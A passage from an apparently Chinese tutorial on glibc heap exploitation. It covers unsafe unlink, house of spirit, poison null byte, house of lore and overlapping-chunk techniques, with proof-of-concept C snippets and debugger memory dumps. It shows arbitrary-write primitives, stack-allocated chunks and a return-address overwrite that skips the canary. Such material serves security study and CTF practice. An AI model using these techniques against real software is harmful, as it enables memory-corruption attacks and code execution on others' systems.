另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。


libc 使用 size 域的最低 3 位来 存储一些其它信息。相关的掩码信息定义如下:

1
2
3
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4

从以上代码定义可以推断, size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块, 这个时候此块的 PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap 分配, 如果 此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000602060
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1

这样,我们去free chunk1,这个时候系统会检测到 fake chunk是释放状态,会触发 unlink ,fake chunk会向后合并, chunk0会被吞并。

unlink 的操作如下:

1
2
3
4
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD

根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

1
2
3
4
FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P

这样就通过了 unlink 的检查,最终效果为:

1
2
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24

最后原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果我们能对堆P进行写入,则就有了任意内存写。如果我们能对堆P进行读取,则就有了信息泄露。

在这个例子中,最后chunk0_ptr 和chunk0_ptr[3] 指向的地方是一样的。相对我们如果对chunk0_ptr[3]修改,也是对chunk0_ptr进行了修改。

在程序中,程序先对chunk0_ptr[3]进行了修改,让它指向了victim_string 字符串的指针。

1
2
  50 	strcpy(victim_string,"Hello!~");
51 chunk0_ptr[3] = (uint64_t) victim_string;

(如果这个地址是 got 表地址,我们紧接着就可以 进行 劫持 got 的操作。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> p chunk0_ptr
$8 = (uint64_t *) 0x603010

然后我们对chunk0_ptr 进行操作,就能得到一个地址写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x4141414142424242 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> x/gx chunk0_ptr
0x603010: 0x4141414142424242
Pwndbg>

总结下,如果我们找到一个全局指针,通过unlink的手段,我们就构造一个chunk指向这个指针所指向的位置,然后通过对chunk的操作来进行读写操作。

0x06 house_of_spirit

Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer.

通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址。

house of spirit 通常用来配合栈溢出使用,通常场景是,栈溢出无法覆盖到的 EIP ,而恰好栈中有一个即将被 free 的堆指针。我们通过在栈上 fake 一个fastbin chunk 接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。

1
2
3
4
5
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

伪造情况如下:

1
2
3
4
Pwndbg> p fake_chunks
$4 = {0xc2, 0x40, 0x7fffffffe3ae, 0x7ffff7ababe5, 0x1, 0x4008ed, 0x0, 0x0, 0x4008a0, 0x1234}
Pwndbg> p &fake_chunks
$5 = (unsigned long long (*)[10]) 0x7fffffffe370

其中 0x40 是chunk size,0x1234 是 nextsize。伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free 的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对 next chunk 大小的检查。


1
2
3
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4

size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块, 这个时候此块的 PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap 分配, 如果 此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena, 在之后会提到main_arena是主线程用于保存堆状态的结构, 如果此位为 0 则表示此块是在 主线程中分配的


然后我们修改指针 a 指向fake chunk

1
2
3
4
5
6
7
8
9
10
11
  23         // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
24 fake_chunks[9] = 0x1234; // nextsize
25
26 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
27 fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
28 a = &fake_chunks[2];
29
30 fprintf(stderr, "Freeing the overwritten pointer.\n");
31 free(a);
32
33 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);

修改后如下:

1
2
Pwndbg> p a                                                        
$11 = (unsigned long long *) 0x7fffffffe380--> $9 = (unsigned long long **) 0x7fffffffe368

成功指向了 fake chunk。当我free a的时候,系统会将 fake chunk 当做一块fastbins 处理,放到fastbins数组里。当我们再malloc的时候。我们就得到一块指向 stack 的 chunk。

1
2
3
4
5
6
7
8
9
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe370 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。

1
2
3
4
5
6
Pwndbg> x/10gx &fake_chunks
0x7fffffffe370: 0x00000000000000c2 0x0000000000000040
0x7fffffffe380: 0x0000000000000000 0x00007ffff7ababe5
0x7fffffffe390: 0x0000000000000001 0x00000000004008ed
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x00000000004008a0 0x0000000000001234

所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。

该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等。

0x07 poison_null_byte

off-one-by-one 的经典例子,一个0字节溢出。在一个字节溢出中,通常有以下情景:

  1. 扩展块
  2. 收缩块

首先,我们创建了 a b c barrier 四个chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

fprintf(stderr, "b: %p\n", b);

c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);

barrier = malloc(0x100);
fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

值得一提的是, barrier 这个chunk是用来防止 free c 的时候被放入 top-chunk。以及 b c 的 chunk 大小不能为 fastbins chunk size。因为 fastbins chunk 在被释放后不会合并。chunk a的作用是用来制造单字节溢出。

在进行一字节溢出之前,由于我们通过 chunk a 的单字节溢出修改了 chunk b 的 size ,为了绕过 unlink 的checnk ,我们先伪造一个 c prev_size。 计算方法如下:

1
c.prev_size = b_size & 0xff00

计算结果就是

1
0x200 = 0x211 & 0xff00

正好是 NULL 字节溢出之后的值。紧接着我们 free 掉 chunk b。此时 chunk 布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
PwnLife> x/124gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000111 <-- chunk a
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000211 <--- chunk b [was free]
0x603120: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 fd ,bk
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
....
....
....
0x603300: 0x0000000000000000 0x0000000000000000
0x603310: 0x0000000000000200 0x0000000000000000 fake c.prev.size
0x603320: 0x0000000000000210 0x0000000000000110 <--- chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x0000000000000000
0x603370: 0x0000000000000000 0x0000000000000000
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000

Free list

1
2
3
PwnLife> unsortedbin
unsortedbin
all: 0x603110 —▸ 0x7ffff7dd1b58 (main_arena+88) ◂— 0x603110

然后我们利用 一字节溢出 修改 chunk b size。

这个时候我们发现 chunk b 的 size 已经成功被修改,同时我们也 fake 了 个 chunk c。

* bypass : chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))

紧接着我们 create chunk b1 ,系统会从 free 掉的chunk b 中(已经放入 unsortedbin 取出合适的大小)。

1
2
3
4
PwnLife> p b1
$25 = (uint8_t *) 0x603120 "H\035\335\367\377\177"
PwnLife> p b
$26 = (uint8_t *) 0x603120 "H\035\335\367\377\177"

我们注意到几个地方:

  1. chunk b1 的位置就是 chunk b 的位置
  2. 这个时候 b1 和 c 之间有个 chunk b,这个时候 chunk c 的 prev_size 本应该变为 0xf0。但是事实上是

###

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PwnLife> x/30gx 0x603330-0x20
0x603310: 0x00000000000000f0 0x0000000000000000 < --- fake chunk c
0x603320: 0x0000000000000210 0x0000000000000110 < --- chunk c
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x0000000000000000
0x603370: 0x0000000000000000 0x0000000000000000
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
PwnLife> p c
$30 = (uint8_t *) 0x603330 "" <--- chunk c ptr

这是由于我们 fake 了一个 c.prev_size 系统修改的是我们的 fake c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x210 的 free chunk 。然后我们在 create 一个 chunk b2。

然后就是,我们先后 free b1 ,c。

1
2
95 	free(b1);
96 free(c);

先 free b1,这个时候 chunk c 会认为 b1 就是 chunk b。当我们 free chunk c 的时候,chunk会和chunk b1合并。由于 chunk c 认为 chunk b1 依旧是 chunk b。因此会把中间的 chunk c 吞并。

1
2
3
4
5
6
7
8
0x603110 PREV_INUSE {
prev_size = 0x0,
size = 0x321,
fd = 0x6032b0,
bk = 0x7ffff7dd1b58 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

此时 chunk b2 已经被吞并。

然后我们在把这块 chunk create出来。假设我们之前对 chunk b2 写的是一个指针。此时我们 得到的新 chunk d。我们可以对chunk b2的内容进行任意读写了。

1
2
3
4
5
6
7
8
   98 	fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
99 d = malloc(0x300);
100 fprintf(stderr, "d: %p\n",d);
101
102 fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
103 memset(d,'D',0x300);
104
105 fprintf(stderr, "New b2 content:\n%s\n",b2);

0x08 house_of_lore

house of lore 技术主要是用来伪造一个 small bin 链。

  • House of Lore 攻击与 Glibc 堆管理中的的 Small Bin 的机制紧密相关。

  • House of Lore 可以实现分配任意指定位置的 chunk,从而修改任意地址的内存。

  • House of Lore 利用的前提是需要控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

如果在 malloc 的时候,申请的内存块在 small bin 范围内,那么执行的流程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}

从下面的这部分我们可以看出

1
2
3
4
5
6
7
8
9
10
11
12
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chun。

调试:

首先,我们创建一个 small bin chunk。然后在栈上伪造两个 chunk。

伪造的两个 chunk , chunk 1 的 fd 指向 victim chunk,bk 指向 chunk2 ,chunk 2 的fd 指向 chunk 1。这样就构造了一个 small bin 链。

由于上文提到的 check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 7 else
8 {
9 bck = victim->bk;
10 if (__glibc_unlikely (bck->fd != victim)){
11
12 errstr = "malloc(): smallbin double linked list corrupted";
13 goto errout;
14 }
15
16 set_inuse_bit_at_offset (victim, nb);
17 bin->bk = bck;
18 bck->fd = bin;
19
20 [ ... ]
21
22 */

所以伪造了 两个chunk 以及他们的 fd ,bk。

1
void *p5 = malloc(1000);

在 free 掉 victim 之前,我们 malloc 了一块 size 为1000的chunk,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。

然后我们释放掉 victim, 并申请一块比较大的chunk,只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了,这样就会让 victim 被整理到 smallbins中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x7ffff7dd1bb8 (main_arena+184) —▸ 0x603000 ◂— 0x7ffff7dd1bb8
largebins
empty
PwnLife>

接着就是漏洞利用的一个重点,我们假设我们有机会去修改victim chunk 的 bk 指针。并让他指向我们在栈上 fake 的chunk。

1
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

这个时候 , victim chunk的bk指向 stack_buffer_1, fake chunk 1 的fd 指向了 victim chunk。我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:

1
head  <-fake chunk2 <- facke chunk1 <- victim chunk

fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。

紧接着,我们 malloc 一块 chunk,如果我们malloc 的大小正好是 victim chunk 的大小,这个时候系统会将 victim chunk 取出。

1
void *p3 = malloc(100);

然后,我们再 malloc 一块。这个时候,我们就能欺骗系统,在stack栈上返回一块chunk。

1
2
3
4
5
  101   fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
102 char *p4 = malloc(100);
103 fprintf(stderr, "p4 = malloc(100)\n");
104
105 fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",

然后我们可以完成攻击

1
2
3
  108   fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
109 intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
110 memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

P4 + 40 的位置刚好是 eip的的位置。

最后,我们说的是small bin 链的构造,其实我这里用的是 fastbin ,其释放后虽然是被加入到 fast bins 中,而small bin是释放后 放入 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。

0x09 overlapping_chunks

简单的堆重叠,通过修改 size,吞并邻块,然后再下次 malloc的时候,把邻块给一起分配出来。这个时候就有了两个指针可以操作邻块。一个新块指针,一个旧块指针。

1
2
3
22 	p1 = malloc(0x100 - 8);
23 p2 = malloc(0x100 - 8);
24 p3 = malloc(0x80 - 8);

首先分配,三个chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PwnLife> heap
0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603100 PREV_INUSE {
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603200 FASTBIN {
prev_size = 0x0,
size = 0x81,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0

紧接着 free 掉 chunk2

1
free(p2);

这个时候 chunk 2 被分配到了 unsortedbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x603100 PREV_INUSE {
prev_size = 0x3131313131313131,
size = 0x101,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7ffff7dd1b58 <main_arena+88>,
fd_nextsize = 0x3232323232323232,
bk_nextsize = 0x3232323232323232
}

PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x603100 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty

然后,假设我们这个时候可以通过堆溢出修改 chunk 2的size

1
2
3
4
5
6
42 	int evil_chunk_size = 0x181;
43 int evil_region_size = 0x180 - 8;
44 fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
45 evil_chunk_size, evil_region_size);
46
47 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x603000 PREV_INUSE {
prev_size = 0x0,
size = 0x101,
fd = 0x3131313131313131,
bk = 0x3131313131313131,
fd_nextsize = 0x3131313131313131,
bk_nextsize = 0x3131313131313131
}
0x603100 PREV_INUSE {
prev_size = 0x3131313131313131,
size = 0x181,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7ffff7dd1b58 <main_arena+88>,
fd_nextsize = 0x3232323232323232,
bk_nextsize = 0x3232323232323232
}
0x603280 PREV_INUSE {
prev_size = 0x3333333333333333,
size = 0x20d81,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

这个时候,我们发现 chunk 2的size被修改后,吞并了 chunk3,如果我们这时候 malloc 一块 0x180 的chunk。即将会把 chunk2 和chunk3 一起分配出来。

1
p4 = malloc(evil_region_size); //evil_region_size = 0x180-8

当我们对 p4 进行写操作的时候

1
2
3
4
66 	fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
67 memset(p4, '4', evil_region_size);
68 fprintf(stderr, "p4 = %s\n", (char *)p4);
69 fprintf(stderr, "p3 = %s\n", (char *)p3);

顺便把 p3 也写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PwnLife> x/40gx 0x603100
0x603100: 0x3131313131313131 0x0000000000000181
0x603110: 0x3434343434343434 0x3434343434343434
0x603120: 0x3434343434343434 0x3434343434343434
0x603130: 0x3434343434343434 0x3434343434343434
0x603140: 0x3434343434343434 0x3434343434343434
0x603150: 0x3434343434343434 0x3434343434343434
0x603160: 0x3434343434343434 0x3434343434343434
0x603170: 0x3434343434343434 0x3434343434343434
0x603180: 0x3434343434343434 0x3434343434343434
0x603190: 0x3434343434343434 0x3434343434343434
0x6031a0: 0x3434343434343434 0x3434343434343434
0x6031b0: 0x3434343434343434 0x3434343434343434
0x6031c0: 0x3434343434343434 0x3434343434343434
0x6031d0: 0x3434343434343434 0x3434343434343434
0x6031e0: 0x3434343434343434 0x3434343434343434
0x6031f0: 0x3434343434343434 0x3434343434343434
0x603200: 0x3434343434343434 0x3434343434343434
0x603210: 0x3434343434343434 0x3434343434343434
0x603220: 0x3434343434343434 0x3434343434343434
0x603230: 0x3434343434343434 0x3434343434343434

PwnLife> p p3
$13 = (intptr_t *) 0x603210
PwnLife> x/20gx p3
0x603210: 0x3434343434343434 0x3434343434343434
0x603220: 0x3434343434343434 0x3434343434343434
0x603230: 0x3434343434343434 0x3434343434343434
0x603240: 0x3434343434343434 0x3434343434343434
0x603250: 0x3434343434343434 0x3434343434343434
0x603260: 0x3434343434343434 0x3434343434343434
0x603270: 0x3434343434343434 0x3434343434343434
0x603280: 0x3434343434343434 0x0000000000020d81
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000000
PwnLife>

我们也可以去修改 p3 ,修改 p4的内容。

1
2
3
4
71 	fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
72 memset(p3, '3', 80);
73 fprintf(stderr, "p4 = %s\n", (char *)p4);
74 fprintf(stderr, "p3 = %s\n", (char *)p3);

0x10 overlapping_chunks_2

同样是堆重叠问题,这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。

我们这里 malloc 五块chunk,第五块的作用是防止 chunk 4 被free 后被放入 top chunk。然后这里的覆盖目标是 chunk2 到chunk4。

首先 free 掉 chunk 4

1
free(p4);

由于 chunk 4现在是 free 状态,这个时候 chunk 5 的presize 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

PwnLife> p p5
$3 = (intptr_t *) 0x603fd0
PwnLife> x/20gx p5-4
0x603fb0: 0x4444444444444444 0x4444444444444444 <--- chunk 5
0x603fc0: 0x00000000000003f0 0x00000000000003f0 <---prev size / size
0x603fd0: 0x4545454545454545 0x4545454545454545
0x603fe0: 0x4545454545454545 0x4545454545454545
0x603ff0: 0x4545454545454545 0x4545454545454545
0x604000: 0x4545454545454545 0x4545454545454545
0x604010: 0x4545454545454545 0x4545454545454545
0x604020: 0x4545454545454545 0x4545454545454545
0x604030: 0x4545454545454545 0x4545454545454545
0x604040: 0x4545454545454545 0x4545454545454545
PwnLife>

紧接着,我们假设 chunk 1 有堆溢出,我们可以通过堆溢出修改 chunk 2的size

1
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PwnLife> p p2
$4 = (intptr_t *) 0x603400
PwnLife> x/20gx p2-2
0x6033f0: 0x4141414141414141 0x00000000000007e1 <--- size
0x603400: 0x4242424242424242 0x4242424242424242
0x603410: 0x4242424242424242 0x4242424242424242
0x603420: 0x4242424242424242 0x4242424242424242
